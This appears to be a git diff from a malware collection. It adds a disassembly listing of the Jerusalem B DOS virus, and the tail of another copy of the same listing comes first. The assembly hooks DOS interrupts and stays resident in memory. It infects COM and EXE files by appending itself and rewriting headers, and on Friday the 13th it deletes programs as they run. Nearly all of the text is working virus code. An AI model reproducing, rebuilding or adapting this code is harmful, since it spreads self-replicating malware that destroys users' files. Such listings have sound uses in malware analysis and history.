PUSH ES +0000:01AB 1F POP DS +0000:01AC 0E PUSH CS +0000:01AD 07 POP ES +0000:01AE BB3500 MOV BX,0035H +0000:01B1 1E PUSH DS +0000:01B2 06 PUSH ES +0000:01B3 50 PUSH AX +0000:01B4 53 PUSH BX +0000:01B5 51 PUSH CX +0000:01B6 52 PUSH DX +0000:01B7 B42A MOV AH,02AH +0000:01B9 CD21 INT 021H +0000:01BB 2EC6060E0000 MOV BYTE PTR CS:[Y000EH],00H +0000:01C1 81F9C307 CMP CX,07C3H +0000:01C5 7430 JZ X01F7 +0000:01C7 3C05 CMP AL,05H +0000:01C9 750D JNZ X01D8 +0000:01CB 80FA0D CMP DL,0DH +0000:01CE 7508 JNZ X01D8 +0000:01D0 2EFE060E00 INC BYTE PTR CS:[Y000EH] +0000:01D5 EB20 JMP X01F7 +0000:01D7 90 NOP +0000:01D8 B80835 X01D8: MOV AX,03508H +0000:01DB CD21 INT 021H +0000:01DD 2E891E1300 MOV CS:[Y0013H],BX +0000:01E2 2E8C061500 MOV CS:[Y0015H],ES +0000:01E7 0E PUSH CS +0000:01E8 1F POP DS +0000:01E9 C7061F00907E MOV WORD PTR [Y001FH],07E90H +0000:01EF B80825 MOV AX,02508H +0000:01F2 BA1E02 MOV DX,021EH +0000:01F5 CD21 INT 021H +0000:01F7 5A X01F7: POP DX +0000:01F8 59 POP CX +0000:01F9 5B POP BX +0000:01FA 58 POP AX +0000:01FB 07 POP ES +0000:01FC 1F POP DS +0000:01FD 9C PUSHF +0000:01FE 2EFF1E1700 CALL CS:[Y0017H] +0000:0203 1E PUSH DS +0000:0204 07 POP ES +0000:0205 B449 MOV AH,049H +0000:0207 CD21 INT 021H +0000:0209 B44D MOV AH,04DH +0000:020B CD21 INT 021H +0000:020D B431 MOV AH,031H +0000:020F BA0006 MOV DX,0600H +0000:0212 B104 MOV CL,04H + +"JV.MOC" PAGE 0005 + +0000:0214 D3EA SHR DX,CL +0000:0216 83C210 ADD DX,0010H +0000:0219 CD21 INT 021H +0000:021B 32C0 XOR AL,AL +0000:021D CF IRET +0000:021E 2E833E1F0002 CMP WORD PTR CS:[Y001FH],0002H +0000:0224 7517 JNZ X023D +0000:0226 50 PUSH AX +0000:0227 53 PUSH BX +0000:0228 51 PUSH CX +0000:0229 52 PUSH DX +0000:022A 55 PUSH BP +0000:022B B80206 MOV AX,0602H +0000:022E B787 MOV BH,087H +0000:0230 B90505 MOV CX,0505H +0000:0233 BA1010 MOV DX,01010H +0000:0236 CD10 INT 010H +0000:0238 5D POP BP +0000:0239 5A POP DX +0000:023A 59 POP CX +0000:023B 5B POP BX +0000:023C 58 POP AX +0000:023D 2EFF0E1F00 X023D: DEC WORD PTR CS:[Y001FH] +0000:0242 7512 JNZ X0256 +0000:0244 2EC7061F000100 MOV WORD PTR CS:[Y001FH],0001H +0000:024B 50 PUSH AX +0000:024C 51 PUSH CX +0000:024D 56 PUSH SI +0000:024E B90140 MOV CX,04001H +0000:0251 F3AC REPE LODSB +0000:0253 5E POP SI +0000:0254 59 POP CX +0000:0255 58 POP AX +0000:0256 2EFF2E1300 X0256: JMP CS:[Y0013H] +0000:025B 9C X025B: PUSHF +0000:025C 80FCE0 CMP AH,0E0H +0000:025F 7505 JNZ X0266 +0000:0261 B80003 MOV AX,0300H +0000:0264 9D POPF +0000:0265 CF IRET +0000:0266 80FCDD X0266: CMP AH,0DDH +0000:0269 7413 JZ X027E +0000:026B 80FCDE CMP AH,0DEH +0000:026E 7428 JZ X0298 +0000:0270 3D004B CMP AX,04B00H +0000:0273 7503 JNZ X0278 +0000:0275 E9B400 JMP X032C +0000:0278 9D X0278: POPF +0000:0279 2EFF2E1700 JMP CS:[Y0017H] +0000:027E 58 X027E: POP AX +0000:027F 58 POP AX +0000:0280 B80001 MOV AX,0100H +0000:0283 2EA30A00 MOV CS:Y000AH,AX +0000:0287 58 POP AX +0000:0288 2EA30C00 MOV CS:Y000CH,AX +0000:028C F3A4 REPE MOVSB + +"JV.MOC" PAGE 0006 + +0000:028E 9D POPF +0000:028F 2EA10F00 MOV AX,CS:Y000FH +0000:0293 2EFF2E0A00 JMP CS:[Y000AH] +0000:0298 83C406 X0298: ADD SP,0006H +0000:029B 9D POPF +0000:029C 8CC8 MOV AX,CS +0000:029E 8ED0 MOV SS,AX +0000:02A0 BC1007 MOV SP,0710H +0000:02A3 06 PUSH ES +0000:02A4 06 PUSH ES +0000:02A5 33FF XOR DI,DI +0000:02A7 0E PUSH CS +0000:02A8 07 POP ES +0000:02A9 B91000 MOV CX,0010H +0000:02AC 8BF3 MOV SI,BX +0000:02AE BF2100 MOV DI,0021H +0000:02B1 F3A4 REPE MOVSB +0000:02B3 8CD8 MOV AX,DS +0000:02B5 8EC0 MOV ES,AX +0000:02B7 2EF7267A00 MUL WORD PTR CS:[Y007AH] +0000:02BC 2E03062B00 ADD AX,CS:[Y002BH] +0000:02C1 83D200 ADC DX,0000H +0000:02C4 2EF7367A00 DIV WORD PTR CS:[Y007AH] +0000:02C9 8ED8 MOV DS,AX +0000:02CB 8BF2 MOV SI,DX +0000:02CD 8BFA MOV DI,DX +0000:02CF 8CC5 MOV BP,ES +0000:02D1 2E8B1E2F00 MOV BX,CS:[Y002FH] +0000:02D6 0BDB OR BX,BX +0000:02D8 7413 JZ X02ED +0000:02DA B90080 X02DA: MOV CX,08000H +0000:02DD F3A5 REPE MOVSW +0000:02DF 050010 ADD AX,01000H +0000:02E2 81C50010 ADD BP,01000H +0000:02E6 8ED8 MOV DS,AX +0000:02E8 8EC5 MOV ES,BP +0000:02EA 4B DEC BX +0000:02EB 75ED JNZ X02DA +0000:02ED 2E8B0E2D00 X02ED: MOV CX,CS:[Y002DH] +0000:02F2 F3A4 REPE MOVSB +0000:02F4 58 POP AX +0000:02F5 50 PUSH AX +0000:02F6 051000 ADD AX,0010H +0000:02F9 2E01062900 ADD CS:[Y0029H],AX +0000:02FE 2E01062500 ADD CS:[Y0025H],AX +0000:0303 2EA12100 MOV AX,CS:Y0021H +0000:0307 1F POP DS +0000:0308 07 POP ES +0000:0309 2E8E162900 MOV SS,CS:[Y0029H] +0000:030E 2E8B262700 MOV SP,CS:[Y0027H] +0000:0313 2EFF2E2300 JMP CS:[Y0023H] +0000:0318 33C9 X0318: XOR CX,CX +0000:031A B80143 MOV AX,04301H +0000:031D CD21 INT 021H +0000:031F B441 MOV AH,041H +0000:0321 CD21 INT 021H + +"JV.MOC" PAGE 0007 + +0000:0323 B8004B MOV AX,04B00H +0000:0326 9D POPF +0000:0327 2EFF2E1700 JMP CS:[Y0017H] +0000:032C 2E803E0E0001 X032C: CMP BYTE PTR CS:[Y000EH],01H +0000:0332 74E4 JZ X0318 +0000:0334 2EC7067000FFFF MOV WORD PTR CS:[Y0070H],0FFFFH +0000:033B 2EC7068F000000 MOV WORD PTR CS:[Y008FH],0000H +0000:0342 2E89168000 MOV CS:[Y0080H],DX +0000:0347 2E8C1E8200 MOV CS:[Y0082H],DS +0000:034C 50 PUSH AX +0000:034D 53 PUSH BX +0000:034E 51 PUSH CX +0000:034F 52 PUSH DX +0000:0350 56 PUSH SI +0000:0351 57 PUSH DI +0000:0352 1E PUSH DS +0000:0353 06 PUSH ES +0000:0354 FC CLD +0000:0355 8BFA MOV DI,DX +0000:0357 32D2 XOR DL,DL +0000:0359 807D013A CMP BYTE PTR [DI+01H],03AH +0000:035D 7505 JNZ X0364 +0000:035F 8A15 MOV DL,[DI] +0000:0361 80E21F AND DL,01FH +0000:0364 B436 X0364: MOV AH,036H +0000:0366 CD21 INT 021H +0000:0368 3DFFFF CMP AX,0FFFFH +0000:036B 7503 JNZ X0370 +0000:036D E97702 X036D: JMP X05E7 +0000:0370 F7E3 X0370: MUL BX +0000:0372 F7E1 MUL CX +0000:0374 0BD2 OR DX,DX +0000:0376 7505 JNZ X037D +0000:0378 3D1007 CMP AX,0710H +0000:037B 72F0 JB X036D +0000:037D 2E8B168000 X037D: MOV DX,CS:[Y0080H] +0000:0382 1E PUSH DS +0000:0383 07 POP ES +0000:0384 32C0 XOR AL,AL +0000:0386 B94100 MOV CX,0041H +0000:0389 F2AE REPNE SCASB +0000:038B 2E8B368000 MOV SI,CS:[Y0080H] +0000:0390 8A04 X0390: MOV AL,[SI] +0000:0392 0AC0 OR AL,AL +0000:0394 740E JZ X03A4 +0000:0396 3C61 CMP AL,061H +0000:0398 7207 JB X03A1 +0000:039A 3C7A CMP AL,07AH +0000:039C 7703 JA X03A1 +0000:039E 802C20 SUB BYTE PTR [SI],020H +0000:03A1 46 X03A1: INC SI +0000:03A2 EBEC JMP X0390 +0000:03A4 B90B00 X03A4: MOV CX,000BH +0000:03A7 2BF1 SUB SI,CX +0000:03A9 BF8400 MOV DI,0084H +0000:03AC 0E PUSH CS + +"JV.MOC" PAGE 0008 + +0000:03AD 07 POP ES +0000:03AE B90B00 MOV CX,000BH +0000:03B1 F3A6 REPE CMPSB +0000:03B3 7503 JNZ X03B8 +0000:03B5 E92F02 JMP X05E7 +0000:03B8 B80043 X03B8: MOV AX,04300H +0000:03BB CD21 INT 021H +0000:03BD 7205 JB X03C4 +0000:03BF 2E890E7200 MOV CS:[Y0072H],CX +0000:03C4 7225 X03C4: JB X03EB +0000:03C6 32C0 XOR AL,AL +0000:03C8 2EA24E00 MOV CS:Y004EH,AL +0000:03CC 1E PUSH DS +0000:03CD 07 POP ES +0000:03CE 8BFA MOV DI,DX +0000:03D0 B94100 MOV CX,0041H +0000:03D3 F2AE REPNE SCASB +0000:03D5 807DFE4D CMP BYTE PTR [DI-02H],04DH +0000:03D9 740B JZ X03E6 +0000:03DB 807DFE6D CMP BYTE PTR [DI-02H],06DH +0000:03DF 7405 JZ X03E6 +0000:03E1 2EFE064E00 INC BYTE PTR CS:[Y004EH] +0000:03E6 B8003D X03E6: MOV AX,03D00H +0000:03E9 CD21 INT 021H +0000:03EB 725A X03EB: JB X0447 +0000:03ED 2EA37000 MOV CS:Y0070H,AX +0000:03F1 8BD8 MOV BX,AX +0000:03F3 B80242 MOV AX,04202H +0000:03F6 B9FFFF MOV CX,0FFFFH +0000:03F9 BAFBFF MOV DX,0FFFBH +0000:03FC CD21 X03FC: INT 021H +0000:03FE 72EB JB X03EB +0000:0400 050500 ADD AX,0005H +0000:0403 2EA31100 MOV CS:Y0011H,AX +0000:0407 B90500 MOV CX,0005H +0000:040A BA6B00 MOV DX,006BH +0000:040D 8CC8 MOV AX,CS +0000:040F 8ED8 MOV DS,AX +0000:0411 8EC0 MOV ES,AX +0000:0413 B43F MOV AH,03FH +0000:0415 CD21 INT 021H +0000:0417 8BFA MOV DI,DX +0000:0419 BE0500 MOV SI,0005H +0000:041C F3A6 REPE CMPSB +0000:041E 7507 JNZ X0427 +0000:0420 B43E MOV AH,03EH +0000:0422 CD21 INT 021H +0000:0424 E9C001 JMP X05E7 +0000:0427 B82435 X0427: MOV AX,03524H +0000:042A CD21 INT 021H +0000:042C 891E1B00 MOV [Y001BH],BX +0000:0430 8C061D00 MOV [Y001DH],ES +0000:0434 BA1B02 MOV DX,021BH +0000:0437 B82425 MOV AX,02524H +0000:043A CD21 INT 021H +0000:043C C5168000 LDS DX,[Y0080H] + +"JV.MOC" PAGE 0009 + +0000:0440 33C9 XOR CX,CX +0000:0442 B80143 MOV AX,04301H +0000:0445 CD21 INT 021H +0000:0447 723B X0447: JB X0484 +0000:0449 2E8B1E7000 MOV BX,CS:[Y0070H] +0000:044E B43E MOV AH,03EH +0000:0450 CD21 INT 021H +0000:0452 2EC7067000FFFF MOV WORD PTR CS:[Y0070H],0FFFFH +0000:0459 B8023D MOV AX,03D02H +0000:045C CD21 INT 021H +0000:045E 7224 JB X0484 +0000:0460 2EA37000 MOV CS:Y0070H,AX +0000:0464 8CC8 MOV AX,CS +0000:0466 8ED8 MOV DS,AX +0000:0468 8EC0 MOV ES,AX +0000:046A 8B1E7000 MOV BX,[Y0070H] +0000:046E B80057 MOV AX,05700H +0000:0471 CD21 INT 021H +0000:0473 89167400 MOV [Y0074H],DX +0000:0477 890E7600 MOV [Y0076H],CX +0000:047B B80042 MOV AX,04200H +0000:047E 33C9 XOR CX,CX +0000:0480 8BD1 MOV DX,CX +0000:0482 CD21 INT 021H +0000:0484 723D X0484: JB X04C3 +0000:0486 803E4E0000 CMP BYTE PTR [Y004EH],00H +0000:048B 7403 JZ X0490 +0000:048D EB57 JMP X04E6 +0000:048F 90 NOP +0000:0490 BB0010 X0490: MOV BX,01000H +0000:0493 B448 MOV AH,048H +0000:0495 CD21 INT 021H +0000:0497 730B JAE X04A4 +0000:0499 B43E MOV AH,03EH +0000:049B 8B1E7000 MOV BX,[Y0070H] +0000:049F CD21 INT 021H +0000:04A1 E94301 JMP X05E7 +0000:04A4 FF068F00 X04A4: INC WORD PTR [Y008FH] +0000:04A8 8EC0 MOV ES,AX +0000:04AA 33F6 XOR SI,SI +0000:04AC 8BFE MOV DI,SI +0000:04AE B91007 MOV CX,0710H +0000:04B1 F3A4 REPE MOVSB +0000:04B3 8BD7 MOV DX,DI +0000:04B5 8B0E1100 MOV CX,[Y0011H] +0000:04B9 8B1E7000 MOV BX,[Y0070H] +0000:04BD 06 PUSH ES +0000:04BE 1F POP DS +0000:04BF B43F MOV AH,03FH +0000:04C1 CD21 INT 021H +0000:04C3 721C X04C3: JB X04E1 +0000:04C5 03F9 ADD DI,CX +0000:04C7 33C9 XOR CX,CX +0000:04C9 8BD1 MOV DX,CX +0000:04CB B80042 MOV AX,04200H +0000:04CE CD21 INT 021H + +"JV.MOC" PAGE 0010 + +0000:04D0 BE0500 MOV SI,0005H +0000:04D3 B90500 MOV CX,0005H +0000:04D6 F32EA4 REPE MOVS ES:BYTE PTR (DI),CS:BYTE PT + R (SI) +0000:04D9 8BCF MOV CX,DI +0000:04DB 33D2 XOR DX,DX +0000:04DD B440 MOV AH,040H +0000:04DF CD21 INT 021H +0000:04E1 720D X04E1: JB X04F0 +0000:04E3 E9BC00 JMP X05A2 +0000:04E6 B91C00 X04E6: MOV CX,001CH +0000:04E9 BA4F00 MOV DX,004FH +0000:04EC B43F MOV AH,03FH +0000:04EE CD21 INT 021H +0000:04F0 724A X04F0: JB X053C +0000:04F2 C70661008419 MOV WORD PTR [Y0061H],01984H +0000:04F8 A15D00 MOV AX,Y005DH +0000:04FB A34500 MOV Y0045H,AX +0000:04FE A15F00 MOV AX,Y005FH +0000:0501 A34300 MOV Y0043H,AX +0000:0504 A16300 MOV AX,Y0063H +0000:0507 A34700 MOV Y0047H,AX +0000:050A A16500 MOV AX,Y0065H +0000:050D A34900 MOV Y0049H,AX +0000:0510 A15300 MOV AX,Y0053H +0000:0513 833E510000 CMP WORD PTR [Y0051H],0000H +0000:0518 7401 JZ X051B +0000:051A 48 DEC AX +0000:051B F7267800 X051B: MUL WORD PTR [Y0078H] +0000:051F 03065100 ADD AX,[Y0051H] +0000:0523 83D200 ADC DX,0000H +0000:0526 050F00 ADD AX,000FH +0000:0529 83D200 ADC DX,0000H +0000:052C 25F0FF AND AX,0FFF0H +0000:052F A37C00 MOV Y007CH,AX +0000:0532 89167E00 MOV [Y007EH],DX +0000:0536 051007 ADD AX,0710H +0000:0539 83D200 ADC DX,0000H +0000:053C 723A X053C: JB X0578 +0000:053E F7367800 DIV WORD PTR [Y0078H] +0000:0542 0BD2 OR DX,DX +0000:0544 7401 JZ X0547 +0000:0546 40 INC AX +0000:0547 A35300 X0547: MOV Y0053H,AX +0000:054A 89165100 MOV [Y0051H],DX +0000:054E A17C00 MOV AX,Y007CH +0000:0551 8B167E00 MOV DX,[Y007EH] +0000:0555 F7367A00 DIV WORD PTR [Y007AH] +0000:0559 2B065700 SUB AX,[Y0057H] +0000:055D A36500 MOV Y0065H,AX +0000:0560 C7066300C500 MOV WORD PTR [Y0063H],00C5H +0000:0566 A35D00 MOV Y005DH,AX +0000:0569 C7065F001007 MOV WORD PTR [Y005FH],0710H +0000:056F 33C9 XOR CX,CX +0000:0571 8BD1 MOV DX,CX +0000:0573 B80042 MOV AX,04200H +0000:0576 CD21 INT 021H + +"JV.MOC" PAGE 0011 + +0000:0578 720A X0578: JB X0584 +0000:057A B91C00 MOV CX,001CH +0000:057D BA4F00 MOV DX,004FH +0000:0580 B440 MOV AH,040H +0000:0582 CD21 INT 021H +0000:0584 7211 X0584: JB X0597 +0000:0586 3BC1 CMP AX,CX +0000:0588 7518 JNZ X05A2 +0000:058A 8B167C00 MOV DX,[Y007CH] +0000:058E 8B0E7E00 MOV CX,[Y007EH] +0000:0592 B80042 MOV AX,04200H +0000:0595 CD21 INT 021H +0000:0597 7209 X0597: JB X05A2 +0000:0599 33D2 XOR DX,DX +0000:059B B91007 MOV CX,0710H +0000:059E B440 MOV AH,040H +0000:05A0 CD21 INT 021H +0000:05A2 2E833E8F0000 X05A2: CMP WORD PTR CS:[Y008FH],0000H +0000:05A8 7404 JZ X05AE +0000:05AA B449 MOV AH,049H +0000:05AC CD21 INT 021H +0000:05AE 2E833E7000FF X05AE: CMP WORD PTR CS:[Y0070H],0FFFFH +0000:05B4 7431 JZ X05E7 +0000:05B6 2E8B1E7000 MOV BX,CS:[Y0070H] +0000:05BB 2E8B167400 MOV DX,CS:[Y0074H] +0000:05C0 2E8B0E7600 MOV CX,CS:[Y0076H] +0000:05C5 B80157 MOV AX,05701H +0000:05C8 CD21 INT 021H +0000:05CA B43E MOV AH,03EH +0000:05CC CD21 INT 021H +0000:05CE 2EC5168000 LDS DX,CS:[Y0080H] +0000:05D3 2E8B0E7200 MOV CX,CS:[Y0072H] +0000:05D8 B80143 MOV AX,04301H +0000:05DB CD21 INT 021H +0000:05DD 2EC5161B00 LDS DX,CS:[Y001BH] +0000:05E2 B82425 MOV AX,02524H +0000:05E5 CD21 INT 021H +0000:05E7 07 X05E7: POP ES +0000:05E8 1F POP DS +0000:05E9 5F POP DI +0000:05EA 5E POP SI +0000:05EB 5A POP DX +0000:05EC 59 POP CX +0000:05ED 5B POP BX +0000:05EE 58 POP AX +0000:05EF 9D POPF +0000:05F0 2EFF2E1700 JMP CS:[Y0017H] +0000:05F5 0000 X05F5: ADD [BX+SI],AL +0000:05F7 0000 ADD [BX+SI],AL +0000:05F9 0000 ADD [BX+SI],AL +0000:05FB 0000 ADD [BX+SI],AL +0000:05FD 0000 ADD [BX+SI],AL +0000:05FF 004D00 ADD [DI+00H],CL +0000:0602 000F ADD [BX],CL +0000:0604 0000 ADD [BX+SI],AL +0000:0606 0000 ADD [BX+SI],AL + +"JV.MOC" PAGE 0012 + +0000:0608 0000 ADD [BX+SI],AL +0000:060A 0000 ADD [BX+SI],AL +0000:060C 0000 ADD [BX+SI],AL +0000:060E 0000 ADD [BX+SI],AL +0000:0610 CD20 INT 020H +0000:0612 00A0009A ADD [BX+SI+Y09A00H],AH +0000:0616 F0FE1D LOCK CALL [DI] ; NOT VALID +0000:0619 F02F LOCK DAS +0000:061B 018E1E3C ADD [BP+Y03C1EH],CX +0000:061F 018E1EEB ADD [BP+Y0EB1EH],CX +0000:0623 048E ADD AL,08EH +0000:0625 1E PUSH DS +0000:0626 8E1EFFFF MOV DS,[Y0FFFFH] +0000:062A FFFF ??? DI +0000:062C FFFF ??? DI +0000:062E FFFF ??? DI +0000:0630 FFFF ??? DI +0000:0632 FFFF ??? DI +0000:0634 FFFF ??? DI +0000:0636 FFFF ??? DI +0000:0638 FFFF ??? DI +0000:063A FFFF ??? DI +0000:063C 7C1F JL X065D +0000:063E DE3E8D29 ESC 037H,[Y0298DH] +0000:0642 1400 ADC AL,00H +0000:0644 1800 SBB [BX+SI],AL +0000:0646 F1 DB 0F1H +0000:0647 1F POP DS +0000:0648 FFFF ??? DI +0000:064A FFFF ??? DI +0000:064C 0000 ADD [BX+SI],AL +0000:064E 0000 ADD [BX+SI],AL +0000:0650 0000 ADD [BX+SI],AL +0000:0652 0000 ADD [BX+SI],AL +0000:0654 0000 ADD [BX+SI],AL +0000:0656 0000 ADD [BX+SI],AL +0000:0658 0000 ADD [BX+SI],AL +0000:065A 0000 ADD [BX+SI],AL +0000:065C 0000 ADD [BX+SI],AL +0000:065E 0000 ADD [BX+SI],AL +0000:0660 CD21 INT 021H +0000:0662 CB RET ; INTERSEGMENT +0000:0663 0000 X0663: ADD [BX+SI],AL +0000:0665 0000 ADD [BX+SI],AL +0000:0667 0000 ADD [BX+SI],AL +0000:0669 0000 ADD [BX+SI],AL +0000:066B 0000 ADD [BX+SI],AL +0000:066D 2020 AND [BX+SI],AH +0000:066F 2020 AND [BX+SI],AH +0000:0671 2020 AND [BX+SI],AH +0000:0673 2020 AND [BX+SI],AH +0000:0675 2020 AND [BX+SI],AH +0000:0677 2000 AND [BX+SI],AL +0000:0679 0000 ADD [BX+SI],AL +0000:067B 0000 ADD [BX+SI],AL +0000:067D 2020 AND [BX+SI],AH + +"JV.MOC" PAGE 0013 + +0000:067F 2020 AND [BX+SI],AH +0000:0681 2020 AND [BX+SI],AH +0000:0683 2020 AND [BX+SI],AH +0000:0685 2020 AND [BX+SI],AH +0000:0687 2000 AND [BX+SI],AL +0000:0689 0000 ADD [BX+SI],AL +0000:068B 0000 ADD [BX+SI],AL +0000:068D 0000 ADD [BX+SI],AL +0000:068F 0000 ADD [BX+SI],AL +0000:0691 0D6B6F OR AX,06F6BH +0000:0694 6465 JZ X06FB +0000:0696 6572 JNZ X070A +0000:0698 7A2E JPE X06C8 +0000:069A 6578 JNZ X0714 +0000:069C 6520 JNZ X06BE +0000:069E 613A JNO X06DA +0000:06A0 6B6F JPO X0711 +0000:06A2 6465 JZ X0709 +0000:06A4 6572 JNZ X0718 +0000:06A6 2E6578 JNZ X0721 +0000:06A9 650D JNZ X06B8 +0000:06AB 0000 ADD [BX+SI],AL +0000:06AD 0000 ADD [BX+SI],AL +0000:06AF 0000 ADD [BX+SI],AL +0000:06B1 0000 ADD [BX+SI],AL +0000:06B3 0000 ADD [BX+SI],AL +0000:06B5 0000 ADD [BX+SI],AL +0000:06B7 0000 ADD [BX+SI],AL +0000:06B9 0000 ADD [BX+SI],AL +0000:06BB 0000 ADD [BX+SI],AL +0000:06BD 0000 ADD [BX+SI],AL +0000:06BF 0000 ADD [BX+SI],AL +0000:06C1 0000 ADD [BX+SI],AL +0000:06C3 0000 ADD [BX+SI],AL +0000:06C5 0000 ADD [BX+SI],AL +0000:06C7 0000 ADD [BX+SI],AL +0000:06C9 0000 ADD [BX+SI],AL +0000:06CB 0000 ADD [BX+SI],AL +0000:06CD 0000 ADD [BX+SI],AL +0000:06CF 0000 ADD [BX+SI],AL +0000:06D1 0000 ADD [BX+SI],AL +0000:06D3 0000 ADD [BX+SI],AL +0000:06D5 0000 ADD [BX+SI],AL +0000:06D7 0000 ADD [BX+SI],AL +0000:06D9 005718 ADD [BX+018H],DL +0000:06DC 0825 OR [DI],AH +0000:06DE A5 MOVSW +0000:06DF FEC5 INC CH +0000:06E1 07 POP ES +0000:06E2 1E PUSH DS +0000:06E3 0210 ADD DL,[BX+SI] +0000:06E5 07 POP ES +0000:06E6 57 PUSH DI +0000:06E7 18B10D47 SBB [BX+DI+Y0470DH],DH +0000:06EB 0104 ADD [SI],AX +0000:06ED 7F70 JG X075F + +"JV.MOC" PAGE 0014 + +0000:06EF 0010 ADD [BX+SI],DL +0000:06F1 07 POP ES +0000:06F2 1D001C SBB AX,01C00H +0000:06F5 09A20D3D OR [BP+SI+Y03D0DH],SP +0000:06F9 0C1B OR AL,01BH +0000:06FB 02B10D02 X06FB: ADD DH,[BX+DI+Y020DH] +0000:06FF F24D REPNE DEC BP +0000:0701 360E PUSH CS +0000:0703 0300 ADD AX,[BX+SI] +0000:0705 0000 ADD [BX+SI],AL +0000:0707 00EE ADD DH,CH +0000:0709 002A X0709: ADD [BP+SI],CH +0000:070B 0F POP CS +0000:070C 42 INC DX +0000:070D 01C1 ADD CX,AX +0000:070F 0DB44C OR AX,04CB4H +0000:0712 B000 MOV AL,00H +0000:0714 CD21 X0714: INT 021H +0000:0716 4D DEC BP +0000:0717 7344 JAE X075D +0000:0719 6F73 JG X078E + + \ No newline at end of file diff --git a/j/JERU-S.ASM b/j/JERU-S.ASM new file mode 100755 index 0000000..556a184 --- /dev/null +++ b/j/JERU-S.ASM @@ -0,0 +1,794 @@ +This is the Jerusalem B Virus. +"JV.MOC" PAGE 0001 + +0000:0000 E99200 JMP X0095 +0000:0003 7355 JAE X005A +0000:0005 4D DEC BP +0000:0006 7344 JAE X004C +0000:0008 6F73 JG X007D +0000:000A 0001 ADD [BX+DI],AL +0000:000C BD1700 MOV BP,0017H +0000:000F 0000 ADD [BX+SI],AL +0000:0011 06 PUSH ES +0000:0012 00A5FE00 ADD [DI+Y00FEH],AH +0000:0016 F016 LOCK PUSH SS +0000:0018 17 POP SS +0000:0019 7702 JA X001D +0000:001B BF053D MOV DI,03D05H +0000:001E 0CFB OR AL,0FBH +0000:0020 7D00 JGE X0022 +0000:0022 0000 X0022: ADD [BX+SI],AL +0000:0024 0000 ADD [BX+SI],AL +0000:0026 0000 ADD [BX+SI],AL +0000:0028 0000 ADD [BX+SI],AL +0000:002A 0000 ADD [BX+SI],AL +0000:002C 0000 ADD [BX+SI],AL +0000:002E E8062A CALL X2A37 +0000:0031 B10D MOV CL,0DH +0000:0033 800000 ADD BYTE PTR [BX+SI],00H +0000:0036 008000B1 ADD [BX+SI+Y0B100H],AL +0000:003A 0D5C00 OR AX,005CH +0000:003D B10D MOV CL,0DH +0000:003F 6C00 JL X0041 +0000:0041 B10D X0041: MOV CL,0DH +0000:0043 0004 ADD [SI],AL +0000:0045 5F POP DI +0000:0046 0F POP CS +0000:0047 B400 MOV AH,00H +0000:0049 C1 RET ; INTRASEGMENT +0000:004A 0D00F0 X004A: OR AX,0F000H +0000:004D 06 PUSH ES +0000:004E 004D5A ADD [DI+05AH],CL +0000:0051 2000 AND [BX+SI],AL +0000:0053 1000 ADC [BX+SI],AL +0000:0055 1900 SBB [BX+SI],AX +0000:0057 0800 OR [BX+SI],AL +0000:0059 7500 JNZ X005B +0000:005B 7500 X005B: JNZ X005D +0000:005D 6901 X005D: JNS X0060 +0000:005F 1007 ADC [BX],AL +0000:0061 8419 TEST BL,[BX+DI] +0000:0063 C500 LDS AX,[BX+SI] +0000:0065 6901 JNS X0068 +0000:0067 1C00 SBB AL,00H +0000:0069 0000 ADD [BX+SI],AL +0000:006B 4C X006B: DEC SP +0000:006C B000 MOV AL,00H +0000:006E CD21 INT 021H +0000:0070 050020 ADD AX,02000H +0000:0073 0037 ADD [BX],DH + +"JV.MOC" PAGE 0002 + +0000:0075 121C ADC BL,[SI] +0000:0077 0100 ADD [BX+SI],AX +0000:0079 0210 ADD DL,[BX+SI] +0000:007B 0010 ADD [BX+SI],DL +0000:007D 17 X007D: POP SS +0000:007E 0000 ADD [BX+SI],AL +0000:0080 53 PUSH BX +0000:0081 61E8 JNO X006B +0000:0083 38434F CMP [BP+DI+04FH],AL +0000:0086 4D DEC BP +0000:0087 4D DEC BP +0000:0088 41 INC CX +0000:0089 4E DEC SI +0000:008A 44 INC SP +0000:008B 2E43 INC BX +0000:008D 4F DEC DI +0000:008E 4D DEC BP +0000:008F 0100 ADD [BX+SI],AX +0000:0091 0000 ADD [BX+SI],AL +0000:0093 0000 ADD [BX+SI],AL +0000:0095 FC X0095: CLD +0000:0096 B4E0 MOV AH,0E0H +0000:0098 CD21 INT 021H +0000:009A 80FCE0 CMP AH,0E0H +0000:009D 7316 JAE X00B5 +0000:009F 80FC03 CMP AH,03H +0000:00A2 7211 JB X00B5 +0000:00A4 B4DD MOV AH,0DDH +0000:00A6 BF0001 MOV DI,0100H +0000:00A9 BE1007 MOV SI,0710H +0000:00AC 03F7 ADD SI,DI +0000:00AE 2E8B8D1100 MOV CX,CS:[DI+Y0011H] +0000:00B3 CD21 INT 021H +0000:00B5 8CC8 X00B5: MOV AX,CS +0000:00B7 051000 ADD AX,0010H +0000:00BA 8ED0 MOV SS,AX +0000:00BC BC0007 MOV SP,0700H +0000:00BF 50 PUSH AX +0000:00C0 B8C500 MOV AX,00C5H +0000:00C3 50 PUSH AX +0000:00C4 CB RET ; INTERSEGMENT +0000:00C5 FC X00C5: CLD +0000:00C6 06 PUSH ES +0000:00C7 2E8C063100 MOV CS:[Y0031H],ES +0000:00CC 2E8C063900 MOV CS:[Y0039H],ES +0000:00D1 2E8C063D00 MOV CS:[Y003DH],ES +0000:00D6 2E8C064100 MOV CS:[Y0041H],ES +0000:00DB 8CC0 MOV AX,ES +0000:00DD 051000 ADD AX,0010H +0000:00E0 2E01064900 ADD CS:[Y0049H],AX +0000:00E5 2E01064500 ADD CS:[Y0045H],AX +0000:00EA B4E0 MOV AH,0E0H +0000:00EC CD21 INT 021H +0000:00EE 80FCE0 CMP AH,0E0H +0000:00F1 7313 JAE X0106 +0000:00F3 80FC03 CMP AH,03H + +"JV.MOC" PAGE 0003 + +0000:00F6 07 POP ES +0000:00F7 2E8E164500 MOV SS,CS:[Y0045H] +0000:00FC 2E8B264300 MOV SP,CS:[Y0043H] +0000:0101 2EFF2E4700 JMP CS:[Y0047H] +0000:0106 33C0 X0106: XOR AX,AX +0000:0108 8EC0 MOV ES,AX +0000:010A 26A1FC03 MOV AX,ES:Y03FCH +0000:010E 2EA34B00 MOV CS:Y004BH,AX +0000:0112 26A0FE03 MOV AL,ES:Y03FEH +0000:0116 2EA24D00 MOV CS:Y004DH,AL +0000:011A 26C706FC03F3A5 MOV WORD PTR ES:[Y03FCH],0A5F3H +0000:0121 26C606FE03CB MOV BYTE PTR ES:[Y03FEH],0CBH +0000:0127 58 POP AX +0000:0128 051000 ADD AX,0010H +0000:012B 8EC0 MOV ES,AX +0000:012D 0E PUSH CS 